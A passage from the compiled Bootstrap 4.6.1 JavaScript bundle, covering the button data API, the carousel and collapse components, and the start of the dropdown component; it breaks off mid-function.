* Data API implementation
*/
$__default["default"](document).on(EVENT_CLICK_DATA_API$5, SELECTOR_DATA_TOGGLE_CARROT, function (event) {
var button = event.target;
var initialButton = button;
if (!$__default["default"](button).hasClass(CLASS_NAME_BUTTON)) {
button = $__default["default"](button).closest(SELECTOR_BUTTON)[0];
}
if (!button || button.hasAttribute('disabled') || button.classList.contains('disabled')) {
event.preventDefault(); // work around Firefox bug #1540995
} else {
var inputBtn = button.querySelector(SELECTOR_INPUT);
if (inputBtn && (inputBtn.hasAttribute('disabled') || inputBtn.classList.contains('disabled'))) {
event.preventDefault(); // work around Firefox bug #1540995
return;
}
if (initialButton.tagName === 'INPUT' || button.tagName !== 'LABEL') {
Button._jQueryInterface.call($__default["default"](button), 'toggle', initialButton.tagName === 'INPUT');
}
}
}).on(EVENT_FOCUS_BLUR_DATA_API, SELECTOR_DATA_TOGGLE_CARROT, function (event) {
var button = $__default["default"](event.target).closest(SELECTOR_BUTTON)[0];
$__default["default"](button).toggleClass(CLASS_NAME_FOCUS, /^focus(in)?$/.test(event.type));
});
$__default["default"](window).on(EVENT_LOAD_DATA_API$2, function () {
// ensure correct active class is set to match the controls' actual values/states
// find all checkboxes/readio buttons inside data-toggle groups
var buttons = [].slice.call(document.querySelectorAll(SELECTOR_DATA_TOGGLES_BUTTONS));
for (var i = 0, len = buttons.length; i < len; i++) {
var button = buttons[i];
var input = button.querySelector(SELECTOR_INPUT);
if (input.checked || input.hasAttribute('checked')) {
button.classList.add(CLASS_NAME_ACTIVE$3);
} else {
button.classList.remove(CLASS_NAME_ACTIVE$3);
}
} // find all button toggles
buttons = [].slice.call(document.querySelectorAll(SELECTOR_DATA_TOGGLE$4));
for (var _i = 0, _len = buttons.length; _i < _len; _i++) {
var _button = buttons[_i];
if (_button.getAttribute('aria-pressed') === 'true') {
_button.classList.add(CLASS_NAME_ACTIVE$3);
} else {
_button.classList.remove(CLASS_NAME_ACTIVE$3);
}
}
});
/**
* jQuery
*/
$__default["default"].fn[NAME$9] = Button._jQueryInterface;
$__default["default"].fn[NAME$9].Constructor = Button;
$__default["default"].fn[NAME$9].noConflict = function () {
$__default["default"].fn[NAME$9] = JQUERY_NO_CONFLICT$9;
return Button._jQueryInterface;
};
/**
* Constants
*/
var NAME$8 = 'carousel';
var VERSION$8 = '4.6.1';
var DATA_KEY$8 = 'bs.carousel';
var EVENT_KEY$8 = "." + DATA_KEY$8;
var DATA_API_KEY$5 = '.data-api';
var JQUERY_NO_CONFLICT$8 = $__default["default"].fn[NAME$8];
var ARROW_LEFT_KEYCODE = 37; // KeyboardEvent.which value for left arrow key
var ARROW_RIGHT_KEYCODE = 39; // KeyboardEvent.which value for right arrow key
var TOUCHEVENT_COMPAT_WAIT = 500; // Time for mouse compat events to fire after touch
var SWIPE_THRESHOLD = 40;
var CLASS_NAME_CAROUSEL = 'carousel';
var CLASS_NAME_ACTIVE$2 = 'active';
var CLASS_NAME_SLIDE = 'slide';
var CLASS_NAME_RIGHT = 'carousel-item-right';
var CLASS_NAME_LEFT = 'carousel-item-left';
var CLASS_NAME_NEXT = 'carousel-item-next';
var CLASS_NAME_PREV = 'carousel-item-prev';
var CLASS_NAME_POINTER_EVENT = 'pointer-event';
var DIRECTION_NEXT = 'next';
var DIRECTION_PREV = 'prev';
var DIRECTION_LEFT = 'left';
var DIRECTION_RIGHT = 'right';
var EVENT_SLIDE = "slide" + EVENT_KEY$8;
var EVENT_SLID = "slid" + EVENT_KEY$8;
var EVENT_KEYDOWN = "keydown" + EVENT_KEY$8;
var EVENT_MOUSEENTER = "mouseenter" + EVENT_KEY$8;
var EVENT_MOUSELEAVE = "mouseleave" + EVENT_KEY$8;
var EVENT_TOUCHSTART = "touchstart" + EVENT_KEY$8;
var EVENT_TOUCHMOVE = "touchmove" + EVENT_KEY$8;
var EVENT_TOUCHEND = "touchend" + EVENT_KEY$8;
var EVENT_POINTERDOWN = "pointerdown" + EVENT_KEY$8;
var EVENT_POINTERUP = "pointerup" + EVENT_KEY$8;
var EVENT_DRAG_START = "dragstart" + EVENT_KEY$8;
var EVENT_LOAD_DATA_API$1 = "load" + EVENT_KEY$8 + DATA_API_KEY$5;
var EVENT_CLICK_DATA_API$4 = "click" + EVENT_KEY$8 + DATA_API_KEY$5;
var SELECTOR_ACTIVE$1 = '.active';
var SELECTOR_ACTIVE_ITEM = '.active.carousel-item';
var SELECTOR_ITEM = '.carousel-item';
var SELECTOR_ITEM_IMG = '.carousel-item img';
var SELECTOR_NEXT_PREV = '.carousel-item-next, .carousel-item-prev';
var SELECTOR_INDICATORS = '.carousel-indicators';
var SELECTOR_DATA_SLIDE = '[data-slide], [data-slide-to]';
var SELECTOR_DATA_RIDE = '[data-ride="carousel"]';
var Default$7 = {
interval: 5000,
keyboard: true,
slide: false,
pause: 'hover',
wrap: true,
touch: true
};
var DefaultType$7 = {
interval: '(number|boolean)',
keyboard: 'boolean',
slide: '(boolean|string)',
pause: '(string|boolean)',
wrap: 'boolean',
touch: 'boolean'
};
var PointerType = {
TOUCH: 'touch',
PEN: 'pen'
};
/**
* Class definition
*/
var Carousel = /*#__PURE__*/function () {
function Carousel(element, config) {
this._items = null;
this._interval = null;
this._activeElement = null;
this._isPaused = false;
this._isSliding = false;
this.touchTimeout = null;
this.touchStartX = 0;
this.touchDeltaX = 0;
this._config = this._getConfig(config);
this._element = element;
this._indicatorsElement = this._element.querySelector(SELECTOR_INDICATORS);
this._touchSupported = 'ontouchstart' in document.documentElement || navigator.maxTouchPoints > 0;
this._pointerEvent = Boolean(window.PointerEvent || window.MSPointerEvent);
this._addEventListeners();
} // Getters
var _proto = Carousel.prototype;
// Public
_proto.next = function next() {
if (!this._isSliding) {
this._slide(DIRECTION_NEXT);
}
};
_proto.nextWhenVisible = function nextWhenVisible() {
var $element = $__default["default"](this._element); // Don't call next when the page isn't visible
// or the carousel or its parent isn't visible
if (!document.hidden && $element.is(':visible') && $element.css('visibility') !== 'hidden') {
this.next();
}
};
_proto.prev = function prev() {
if (!this._isSliding) {
this._slide(DIRECTION_PREV);
}
};
_proto.pause = function pause(event) {
if (!event) {
this._isPaused = true;
}
if (this._element.querySelector(SELECTOR_NEXT_PREV)) {
Util.triggerTransitionEnd(this._element);
this.cycle(true);
}
clearInterval(this._interval);
this._interval = null;
};
_proto.cycle = function cycle(event) {
if (!event) {
this._isPaused = false;
}
if (this._interval) {
clearInterval(this._interval);
this._interval = null;
}
if (this._config.interval && !this._isPaused) {
this._updateInterval();
this._interval = setInterval((document.visibilityState ? this.nextWhenVisible : this.next).bind(this), this._config.interval);
}
};
_proto.to = function to(index) {
var _this = this;
this._activeElement = this._element.querySelector(SELECTOR_ACTIVE_ITEM);
var activeIndex = this._getItemIndex(this._activeElement);
if (index > this._items.length - 1 || index < 0) {
return;
}
if (this._isSliding) {
$__default["default"](this._element).one(EVENT_SLID, function () {
return _this.to(index);
});
return;
}
if (activeIndex === index) {
this.pause();
this.cycle();
return;
}
var direction = index > activeIndex ? DIRECTION_NEXT : DIRECTION_PREV;
this._slide(direction, this._items[index]);
};
_proto.dispose = function dispose() {
$__default["default"](this._element).off(EVENT_KEY$8);
$__default["default"].removeData(this._element, DATA_KEY$8);
this._items = null;
this._config = null;
this._element = null;
this._interval = null;
this._isPaused = null;
this._isSliding = null;
this._activeElement = null;
this._indicatorsElement = null;
} // Private
;
_proto._getConfig = function _getConfig(config) {
config = _extends({}, Default$7, config);
Util.typeCheckConfig(NAME$8, config, DefaultType$7);
return config;
};
_proto._handleSwipe = function _handleSwipe() {
var absDeltax = Math.abs(this.touchDeltaX);
if (absDeltax <= SWIPE_THRESHOLD) {
return;
}
var direction = absDeltax / this.touchDeltaX;
this.touchDeltaX = 0; // swipe left
if (direction > 0) {
this.prev();
} // swipe right
if (direction < 0) {
this.next();
}
};
_proto._addEventListeners = function _addEventListeners() {
var _this2 = this;
if (this._config.keyboard) {
$__default["default"](this._element).on(EVENT_KEYDOWN, function (event) {
return _this2._keydown(event);
});
}
if (this._config.pause === 'hover') {
$__default["default"](this._element).on(EVENT_MOUSEENTER, function (event) {
return _this2.pause(event);
}).on(EVENT_MOUSELEAVE, function (event) {
return _this2.cycle(event);
});
}
if (this._config.touch) {
this._addTouchEventListeners();
}
};
_proto._addTouchEventListeners = function _addTouchEventListeners() {
var _this3 = this;
if (!this._touchSupported) {
return;
}
var start = function start(event) {
if (_this3._pointerEvent && PointerType[event.originalEvent.pointerType.toUpperCase()]) {
_this3.touchStartX = event.originalEvent.clientX;
} else if (!_this3._pointerEvent) {
_this3.touchStartX = event.originalEvent.touches[0].clientX;
}
};
var move = function move(event) {
// ensure swiping with one touch and not pinching
_this3.touchDeltaX = event.originalEvent.touches && event.originalEvent.touches.length > 1 ? 0 : event.originalEvent.touches[0].clientX - _this3.touchStartX;
};
var end = function end(event) {
if (_this3._pointerEvent && PointerType[event.originalEvent.pointerType.toUpperCase()]) {
_this3.touchDeltaX = event.originalEvent.clientX - _this3.touchStartX;
}
_this3._handleSwipe();
if (_this3._config.pause === 'hover') {
// If it's a touch-enabled device, mouseenter/leave are fired as
// part of the mouse compatibility events on first tap - the carousel
// would stop cycling until user tapped out of it;
// here, we listen for touchend, explicitly pause the carousel
// (as if it's the second time we tap on it, mouseenter compat event
// is NOT fired) and after a timeout (to allow for mouse compatibility
// events to fire) we explicitly restart cycling
_this3.pause();
if (_this3.touchTimeout) {
clearTimeout(_this3.touchTimeout);
}
_this3.touchTimeout = setTimeout(function (event) {
return _this3.cycle(event);
}, TOUCHEVENT_COMPAT_WAIT + _this3._config.interval);
}
};
$__default["default"](this._element.querySelectorAll(SELECTOR_ITEM_IMG)).on(EVENT_DRAG_START, function (e) {
return e.preventDefault();
});
if (this._pointerEvent) {
$__default["default"](this._element).on(EVENT_POINTERDOWN, function (event) {
return start(event);
});
$__default["default"](this._element).on(EVENT_POINTERUP, function (event) {
return end(event);
});
this._element.classList.add(CLASS_NAME_POINTER_EVENT);
} else {
$__default["default"](this._element).on(EVENT_TOUCHSTART, function (event) {
return start(event);
});
$__default["default"](this._element).on(EVENT_TOUCHMOVE, function (event) {
return move(event);
});
$__default["default"](this._element).on(EVENT_TOUCHEND, function (event) {
return end(event);
});
}
};
_proto._keydown = function _keydown(event) {
if (/input|textarea/i.test(event.target.tagName)) {
return;
}
switch (event.which) {
case ARROW_LEFT_KEYCODE:
event.preventDefault();
this.prev();
break;
case ARROW_RIGHT_KEYCODE:
event.preventDefault();
this.next();
break;
}
};
_proto._getItemIndex = function _getItemIndex(element) {
this._items = element && element.parentNode ? [].slice.call(element.parentNode.querySelectorAll(SELECTOR_ITEM)) : [];
return this._items.indexOf(element);
};
_proto._getItemByDirection = function _getItemByDirection(direction, activeElement) {
var isNextDirection = direction === DIRECTION_NEXT;
var isPrevDirection = direction === DIRECTION_PREV;
var activeIndex = this._getItemIndex(activeElement);
var lastItemIndex = this._items.length - 1;
var isGoingToWrap = isPrevDirection && activeIndex === 0 || isNextDirection && activeIndex === lastItemIndex;
if (isGoingToWrap && !this._config.wrap) {
return activeElement;
}
var delta = direction === DIRECTION_PREV ? -1 : 1;
var itemIndex = (activeIndex + delta) % this._items.length;
return itemIndex === -1 ? this._items[this._items.length - 1] : this._items[itemIndex];
};
_proto._triggerSlideEvent = function _triggerSlideEvent(relatedTarget, eventDirectionName) {
var targetIndex = this._getItemIndex(relatedTarget);
var fromIndex = this._getItemIndex(this._element.querySelector(SELECTOR_ACTIVE_ITEM));
var slideEvent = $__default["default"].Event(EVENT_SLIDE, {
relatedTarget: relatedTarget,
direction: eventDirectionName,
from: fromIndex,
to: targetIndex
});
$__default["default"](this._element).trigger(slideEvent);
return slideEvent;
};
_proto._setActiveIndicatorElement = function _setActiveIndicatorElement(element) {
if (this._indicatorsElement) {
var indicators = [].slice.call(this._indicatorsElement.querySelectorAll(SELECTOR_ACTIVE$1));
$__default["default"](indicators).removeClass(CLASS_NAME_ACTIVE$2);
var nextIndicator = this._indicatorsElement.children[this._getItemIndex(element)];
if (nextIndicator) {
$__default["default"](nextIndicator).addClass(CLASS_NAME_ACTIVE$2);
}
}
};
_proto._updateInterval = function _updateInterval() {
var element = this._activeElement || this._element.querySelector(SELECTOR_ACTIVE_ITEM);
if (!element) {
return;
}
var elementInterval = parseInt(element.getAttribute('data-interval'), 10);
if (elementInterval) {
this._config.defaultInterval = this._config.defaultInterval || this._config.interval;
this._config.interval = elementInterval;
} else {
this._config.interval = this._config.defaultInterval || this._config.interval;
}
};
_proto._slide = function _slide(direction, element) {
var _this4 = this;
var activeElement = this._element.querySelector(SELECTOR_ACTIVE_ITEM);
var activeElementIndex = this._getItemIndex(activeElement);
var nextElement = element || activeElement && this._getItemByDirection(direction, activeElement);
var nextElementIndex = this._getItemIndex(nextElement);
var isCycling = Boolean(this._interval);
var directionalClassName;
var orderClassName;
var eventDirectionName;
if (direction === DIRECTION_NEXT) {
directionalClassName = CLASS_NAME_LEFT;
orderClassName = CLASS_NAME_NEXT;
eventDirectionName = DIRECTION_LEFT;
} else {
directionalClassName = CLASS_NAME_RIGHT;
orderClassName = CLASS_NAME_PREV;
eventDirectionName = DIRECTION_RIGHT;
}
if (nextElement && $__default["default"](nextElement).hasClass(CLASS_NAME_ACTIVE$2)) {
this._isSliding = false;
return;
}
var slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName);
if (slideEvent.isDefaultPrevented()) {
return;
}
if (!activeElement || !nextElement) {
// Some weirdness is happening, so we bail
return;
}
this._isSliding = true;
if (isCycling) {
this.pause();
}
this._setActiveIndicatorElement(nextElement);
this._activeElement = nextElement;
var slidEvent = $__default["default"].Event(EVENT_SLID, {
relatedTarget: nextElement,
direction: eventDirectionName,
from: activeElementIndex,
to: nextElementIndex
});
if ($__default["default"](this._element).hasClass(CLASS_NAME_SLIDE)) {
$__default["default"](nextElement).addClass(orderClassName);
Util.reflow(nextElement);
$__default["default"](activeElement).addClass(directionalClassName);
$__default["default"](nextElement).addClass(directionalClassName);
var transitionDuration = Util.getTransitionDurationFromElement(activeElement);
$__default["default"](activeElement).one(Util.TRANSITION_END, function () {
$__default["default"](nextElement).removeClass(directionalClassName + " " + orderClassName).addClass(CLASS_NAME_ACTIVE$2);
$__default["default"](activeElement).removeClass(CLASS_NAME_ACTIVE$2 + " " + orderClassName + " " + directionalClassName);
_this4._isSliding = false;
setTimeout(function () {
return $__default["default"](_this4._element).trigger(slidEvent);
}, 0);
}).emulateTransitionEnd(transitionDuration);
} else {
$__default["default"](activeElement).removeClass(CLASS_NAME_ACTIVE$2);
$__default["default"](nextElement).addClass(CLASS_NAME_ACTIVE$2);
this._isSliding = false;
$__default["default"](this._element).trigger(slidEvent);
}
if (isCycling) {
this.cycle();
}
} // Static
;
Carousel._jQueryInterface = function _jQueryInterface(config) {
return this.each(function () {
var data = $__default["default"](this).data(DATA_KEY$8);
var _config = _extends({}, Default$7, $__default["default"](this).data());
if (typeof config === 'object') {
_config = _extends({}, _config, config);
}
var action = typeof config === 'string' ? config : _config.slide;
if (!data) {
data = new Carousel(this, _config);
$__default["default"](this).data(DATA_KEY$8, data);
}
if (typeof config === 'number') {
data.to(config);
} else if (typeof action === 'string') {
if (typeof data[action] === 'undefined') {
throw new TypeError("No method named \"" + action + "\"");
}
data[action]();
} else if (_config.interval && _config.ride) {
data.pause();
data.cycle();
}
});
};
Carousel._dataApiClickHandler = function _dataApiClickHandler(event) {
var selector = Util.getSelectorFromElement(this);
if (!selector) {
return;
}
var target = $__default["default"](selector)[0];
if (!target || !$__default["default"](target).hasClass(CLASS_NAME_CAROUSEL)) {
return;
}
var config = _extends({}, $__default["default"](target).data(), $__default["default"](this).data());
var slideIndex = this.getAttribute('data-slide-to');
if (slideIndex) {
config.interval = false;
}
Carousel._jQueryInterface.call($__default["default"](target), config);
if (slideIndex) {
$__default["default"](target).data(DATA_KEY$8).to(slideIndex);
}
event.preventDefault();
};
_createClass(Carousel, null, [{
key: "VERSION",
get: function get() {
return VERSION$8;
}
}, {
key: "Default",
get: function get() {
return Default$7;
}
}]);
return Carousel;
}();
/**
* Data API implementation
*/
$__default["default"](document).on(EVENT_CLICK_DATA_API$4, SELECTOR_DATA_SLIDE, Carousel._dataApiClickHandler);
$__default["default"](window).on(EVENT_LOAD_DATA_API$1, function () {
var carousels = [].slice.call(document.querySelectorAll(SELECTOR_DATA_RIDE));
for (var i = 0, len = carousels.length; i < len; i++) {
var $carousel = $__default["default"](carousels[i]);
Carousel._jQueryInterface.call($carousel, $carousel.data());
}
});
/**
* jQuery
*/
$__default["default"].fn[NAME$8] = Carousel._jQueryInterface;
$__default["default"].fn[NAME$8].Constructor = Carousel;
$__default["default"].fn[NAME$8].noConflict = function () {
$__default["default"].fn[NAME$8] = JQUERY_NO_CONFLICT$8;
return Carousel._jQueryInterface;
};
/**
* Constants
*/
var NAME$7 = 'collapse';
var VERSION$7 = '4.6.1';
var DATA_KEY$7 = 'bs.collapse';
var EVENT_KEY$7 = "." + DATA_KEY$7;
var DATA_API_KEY$4 = '.data-api';
var JQUERY_NO_CONFLICT$7 = $__default["default"].fn[NAME$7];
var CLASS_NAME_SHOW$6 = 'show';
var CLASS_NAME_COLLAPSE = 'collapse';
var CLASS_NAME_COLLAPSING = 'collapsing';
var CLASS_NAME_COLLAPSED = 'collapsed';
var DIMENSION_WIDTH = 'width';
var DIMENSION_HEIGHT = 'height';
var EVENT_SHOW$4 = "show" + EVENT_KEY$7;
var EVENT_SHOWN$4 = "shown" + EVENT_KEY$7;
var EVENT_HIDE$4 = "hide" + EVENT_KEY$7;
var EVENT_HIDDEN$4 = "hidden" + EVENT_KEY$7;
var EVENT_CLICK_DATA_API$3 = "click" + EVENT_KEY$7 + DATA_API_KEY$4;
var SELECTOR_ACTIVES = '.show, .collapsing';
var SELECTOR_DATA_TOGGLE$3 = '[data-toggle="collapse"]';
var Default$6 = {
toggle: true,
parent: ''
};
var DefaultType$6 = {
toggle: 'boolean',
parent: '(string|element)'
};
/**
* Class definition
*/
var Collapse = /*#__PURE__*/function () {
function Collapse(element, config) {
this._isTransitioning = false;
this._element = element;
this._config = this._getConfig(config);
this._triggerArray = [].slice.call(document.querySelectorAll("[data-toggle=\"collapse\"][href=\"#" + element.id + "\"]," + ("[data-toggle=\"collapse\"][data-target=\"#" + element.id + "\"]")));
var toggleList = [].slice.call(document.querySelectorAll(SELECTOR_DATA_TOGGLE$3));
for (var i = 0, len = toggleList.length; i < len; i++) {
var elem = toggleList[i];
var selector = Util.getSelectorFromElement(elem);
var filterElement = [].slice.call(document.querySelectorAll(selector)).filter(function (foundElem) {
return foundElem === element;
});
if (selector !== null && filterElement.length > 0) {
this._selector = selector;
this._triggerArray.push(elem);
}
}
this._parent = this._config.parent ? this._getParent() : null;
if (!this._config.parent) {
this._addAriaAndCollapsedClass(this._element, this._triggerArray);
}
if (this._config.toggle) {
this.toggle();
}
} // Getters
var _proto = Collapse.prototype;
// Public
_proto.toggle = function toggle() {
if ($__default["default"](this._element).hasClass(CLASS_NAME_SHOW$6)) {
this.hide();
} else {
this.show();
}
};
_proto.show = function show() {
var _this = this;
if (this._isTransitioning || $__default["default"](this._element).hasClass(CLASS_NAME_SHOW$6)) {
return;
}
var actives;
var activesData;
if (this._parent) {
actives = [].slice.call(this._parent.querySelectorAll(SELECTOR_ACTIVES)).filter(function (elem) {
if (typeof _this._config.parent === 'string') {
return elem.getAttribute('data-parent') === _this._config.parent;
}
return elem.classList.contains(CLASS_NAME_COLLAPSE);
});
if (actives.length === 0) {
actives = null;
}
}
if (actives) {
activesData = $__default["default"](actives).not(this._selector).data(DATA_KEY$7);
if (activesData && activesData._isTransitioning) {
return;
}
}
var startEvent = $__default["default"].Event(EVENT_SHOW$4);
$__default["default"](this._element).trigger(startEvent);
if (startEvent.isDefaultPrevented()) {
return;
}
if (actives) {
Collapse._jQueryInterface.call($__default["default"](actives).not(this._selector), 'hide');
if (!activesData) {
$__default["default"](actives).data(DATA_KEY$7, null);
}
}
var dimension = this._getDimension();
$__default["default"](this._element).removeClass(CLASS_NAME_COLLAPSE).addClass(CLASS_NAME_COLLAPSING);
this._element.style[dimension] = 0;
if (this._triggerArray.length) {
$__default["default"](this._triggerArray).removeClass(CLASS_NAME_COLLAPSED).attr('aria-expanded', true);
}
this.setTransitioning(true);
var complete = function complete() {
$__default["default"](_this._element).removeClass(CLASS_NAME_COLLAPSING).addClass(CLASS_NAME_COLLAPSE + " " + CLASS_NAME_SHOW$6);
_this._element.style[dimension] = '';
_this.setTransitioning(false);
$__default["default"](_this._element).trigger(EVENT_SHOWN$4);
};
var capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1);
var scrollSize = "scroll" + capitalizedDimension;
var transitionDuration = Util.getTransitionDurationFromElement(this._element);
$__default["default"](this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
this._element.style[dimension] = this._element[scrollSize] + "px";
};
_proto.hide = function hide() {
var _this2 = this;
if (this._isTransitioning || !$__default["default"](this._element).hasClass(CLASS_NAME_SHOW$6)) {
return;
}
var startEvent = $__default["default"].Event(EVENT_HIDE$4);
$__default["default"](this._element).trigger(startEvent);
if (startEvent.isDefaultPrevented()) {
return;
}
var dimension = this._getDimension();
this._element.style[dimension] = this._element.getBoundingClientRect()[dimension] + "px";
Util.reflow(this._element);
$__default["default"](this._element).addClass(CLASS_NAME_COLLAPSING).removeClass(CLASS_NAME_COLLAPSE + " " + CLASS_NAME_SHOW$6);
var triggerArrayLength = this._triggerArray.length;
if (triggerArrayLength > 0) {
for (var i = 0; i < triggerArrayLength; i++) {
var trigger = this._triggerArray[i];
var selector = Util.getSelectorFromElement(trigger);
if (selector !== null) {
var $elem = $__default["default"]([].slice.call(document.querySelectorAll(selector)));
if (!$elem.hasClass(CLASS_NAME_SHOW$6)) {
$__default["default"](trigger).addClass(CLASS_NAME_COLLAPSED).attr('aria-expanded', false);
}
}
}
}
this.setTransitioning(true);
var complete = function complete() {
_this2.setTransitioning(false);
$__default["default"](_this2._element).removeClass(CLASS_NAME_COLLAPSING).addClass(CLASS_NAME_COLLAPSE).trigger(EVENT_HIDDEN$4);
};
this._element.style[dimension] = '';
var transitionDuration = Util.getTransitionDurationFromElement(this._element);
$__default["default"](this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
};
_proto.setTransitioning = function setTransitioning(isTransitioning) {
this._isTransitioning = isTransitioning;
};
_proto.dispose = function dispose() {
$__default["default"].removeData(this._element, DATA_KEY$7);
this._config = null;
this._parent = null;
this._element = null;
this._triggerArray = null;
this._isTransitioning = null;
} // Private
;
_proto._getConfig = function _getConfig(config) {
config = _extends({}, Default$6, config);
config.toggle = Boolean(config.toggle); // Coerce string values
Util.typeCheckConfig(NAME$7, config, DefaultType$6);
return config;
};
_proto._getDimension = function _getDimension() {
var hasWidth = $__default["default"](this._element).hasClass(DIMENSION_WIDTH);
return hasWidth ? DIMENSION_WIDTH : DIMENSION_HEIGHT;
};
_proto._getParent = function _getParent() {
var _this3 = this;
var parent;
if (Util.isElement(this._config.parent)) {
parent = this._config.parent; // It's a jQuery object
if (typeof this._config.parent.jquery !== 'undefined') {
parent = this._config.parent[0];
}
} else {
parent = document.querySelector(this._config.parent);
}
var selector = "[data-toggle=\"collapse\"][data-parent=\"" + this._config.parent + "\"]";
var children = [].slice.call(parent.querySelectorAll(selector));
$__default["default"](children).each(function (i, element) {
_this3._addAriaAndCollapsedClass(Collapse._getTargetFromElement(element), [element]);
});
return parent;
};
_proto._addAriaAndCollapsedClass = function _addAriaAndCollapsedClass(element, triggerArray) {
var isOpen = $__default["default"](element).hasClass(CLASS_NAME_SHOW$6);
if (triggerArray.length) {
$__default["default"](triggerArray).toggleClass(CLASS_NAME_COLLAPSED, !isOpen).attr('aria-expanded', isOpen);
}
} // Static
;
Collapse._getTargetFromElement = function _getTargetFromElement(element) {
var selector = Util.getSelectorFromElement(element);
return selector ? document.querySelector(selector) : null;
};
Collapse._jQueryInterface = function _jQueryInterface(config) {
return this.each(function () {
var $element = $__default["default"](this);
var data = $element.data(DATA_KEY$7);
var _config = _extends({}, Default$6, $element.data(), typeof config === 'object' && config ? config : {});
if (!data && _config.toggle && typeof config === 'string' && /show|hide/.test(config)) {
_config.toggle = false;
}
if (!data) {
data = new Collapse(this, _config);
$element.data(DATA_KEY$7, data);
}
if (typeof config === 'string') {
if (typeof data[config] === 'undefined') {
throw new TypeError("No method named \"" + config + "\"");
}
data[config]();
}
});
};
_createClass(Collapse, null, [{
key: "VERSION",
get: function get() {
return VERSION$7;
}
}, {
key: "Default",
get: function get() {
return Default$6;
}
}]);
return Collapse;
}();
/**
* Data API implementation
*/
$__default["default"](document).on(EVENT_CLICK_DATA_API$3, SELECTOR_DATA_TOGGLE$3, function (event) {
// preventDefault only for <a> elements (which change the URL) not inside the collapsible element
if (event.currentTarget.tagName === 'A') {
event.preventDefault();
}
var $trigger = $__default["default"](this);
var selector = Util.getSelectorFromElement(this);
var selectors = [].slice.call(document.querySelectorAll(selector));
$__default["default"](selectors).each(function () {
var $target = $__default["default"](this);
var data = $target.data(DATA_KEY$7);
var config = data ? 'toggle' : $trigger.data();
Collapse._jQueryInterface.call($target, config);
});
});
/**
* jQuery
*/
$__default["default"].fn[NAME$7] = Collapse._jQueryInterface;
$__default["default"].fn[NAME$7].Constructor = Collapse;
$__default["default"].fn[NAME$7].noConflict = function () {
$__default["default"].fn[NAME$7] = JQUERY_NO_CONFLICT$7;
return Collapse._jQueryInterface;
};
/**
* Constants
*/
var NAME$6 = 'dropdown';
var VERSION$6 = '4.6.1';
var DATA_KEY$6 = 'bs.dropdown';
var EVENT_KEY$6 = "." + DATA_KEY$6;
var DATA_API_KEY$3 = '.data-api';
var JQUERY_NO_CONFLICT$6 = $__default["default"].fn[NAME$6];
var ESCAPE_KEYCODE$1 = 27; // KeyboardEvent.which value for Escape (Esc) key
var SPACE_KEYCODE = 32; // KeyboardEvent.which value for space key
var TAB_KEYCODE = 9; // KeyboardEvent.which value for tab key
var ARROW_UP_KEYCODE = 38; // KeyboardEvent.which value for up arrow key
var ARROW_DOWN_KEYCODE = 40; // KeyboardEvent.which value for down arrow key
var RIGHT_MOUSE_BUTTON_WHICH = 3; // MouseEvent.which value for the right button (assuming a right-handed mouse)
var REGEXP_KEYDOWN = new RegExp(ARROW_UP_KEYCODE + "|" + ARROW_DOWN_KEYCODE + "|" + ESCAPE_KEYCODE$1);
var CLASS_NAME_DISABLED$1 = 'disabled';
var CLASS_NAME_SHOW$5 = 'show';
var CLASS_NAME_DROPUP = 'dropup';
var CLASS_NAME_DROPRIGHT = 'dropright';
var CLASS_NAME_DROPLEFT = 'dropleft';
var CLASS_NAME_MENURIGHT = 'dropdown-menu-right';
var CLASS_NAME_POSITION_STATIC = 'position-static';
var EVENT_HIDE$3 = "hide" + EVENT_KEY$6;
var EVENT_HIDDEN$3 = "hidden" + EVENT_KEY$6;
var EVENT_SHOW$3 = "show" + EVENT_KEY$6;
var EVENT_SHOWN$3 = "shown" + EVENT_KEY$6;
var EVENT_CLICK = "click" + EVENT_KEY$6;
var EVENT_CLICK_DATA_API$2 = "click" + EVENT_KEY$6 + DATA_API_KEY$3;
var EVENT_KEYDOWN_DATA_API = "keydown" + EVENT_KEY$6 + DATA_API_KEY$3;
var EVENT_KEYUP_DATA_API = "keyup" + EVENT_KEY$6 + DATA_API_KEY$3;
var SELECTOR_DATA_TOGGLE$2 = '[data-toggle="dropdown"]';
var SELECTOR_FORM_CHILD = '.dropdown form';
var SELECTOR_MENU = '.dropdown-menu';
var SELECTOR_NAVBAR_NAV = '.navbar-nav';
var SELECTOR_VISIBLE_ITEMS = '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)';
var PLACEMENT_TOP = 'top-start';
var PLACEMENT_TOPEND = 'top-end';
var PLACEMENT_BOTTOM = 'bottom-start';
var PLACEMENT_BOTTOMEND = 'bottom-end';
var PLACEMENT_RIGHT = 'right-start';
var PLACEMENT_LEFT = 'left-start';
var Default$5 = {
offset: 0,
flip: true,
boundary: 'scrollParent',
reference: 'toggle',
display: 'dynamic',
popperConfig: null
};
var DefaultType$5 = {
offset: '(number|string|function)',
flip: 'boolean',
boundary: '(string|element)',
reference: '(string|element)',
display: 'string',
popperConfig: '(null|object)'
};
/**
* Class definition
*/
var Dropdown = /*#__PURE__*/function () {
function Dropdown(element, config) {
this._element = element;
this._popper = null;
this._config = this._getConfig(config);
this._menu = this._getMenuElement();
this._inNavbar = this._detectNavbar();
this._addEventListeners();
} // Getters
var _proto = Dropdown.prototype;
// Public
_proto.toggle = function toggle() {
if (this._element.disabled || $__default["default"](this._element).hasClass(CLASS_NAME_DISABLED$1)) {
return;
}
var isActive = $__default["default"](this._menu).hasClass(CLASS_NAME_SHOW$5);
Dropdown._clearMenus();
if (isActive) {
return;
}
this.show(true);
};
_proto.show = function show(usePopper) {
if (usePopper === void 0) {
usePopper = false;
}
if (this._element.disabled || $__default["default"](this._element).hasClass(CLASS_NAME_DISABLED$1) || $__default["default"](this._menu).hasClass(CLASS_NAME_SHOW$5)) {
return;
}
var relatedTarget = {
relatedTarget: this._element
};
var showEvent = $__default["default"].Event(EVENT_SHOW$3, relatedTarget);
var parent = Dropdown._getParentFromElement(this._element);
$__default["default"](parent).trigger(showEvent);
if (showEvent.isDefaultPrevented()) {
return;
} // Totally disable Popper for Dropdowns in Navbar
if (!this._inNavbar && usePopper) {
// Check for Popper dependency
if (typeof Popper__default["default"] === 'undefined') {
throw new TypeError('Bootstrap\'s dropdowns require Popper (https://popper.js.org)');
}
var referenceElement = this._element;
if (this._config.reference === 'parent') {
referenceElement = parent;
} else if (Util.isElement(this._config.reference)) {
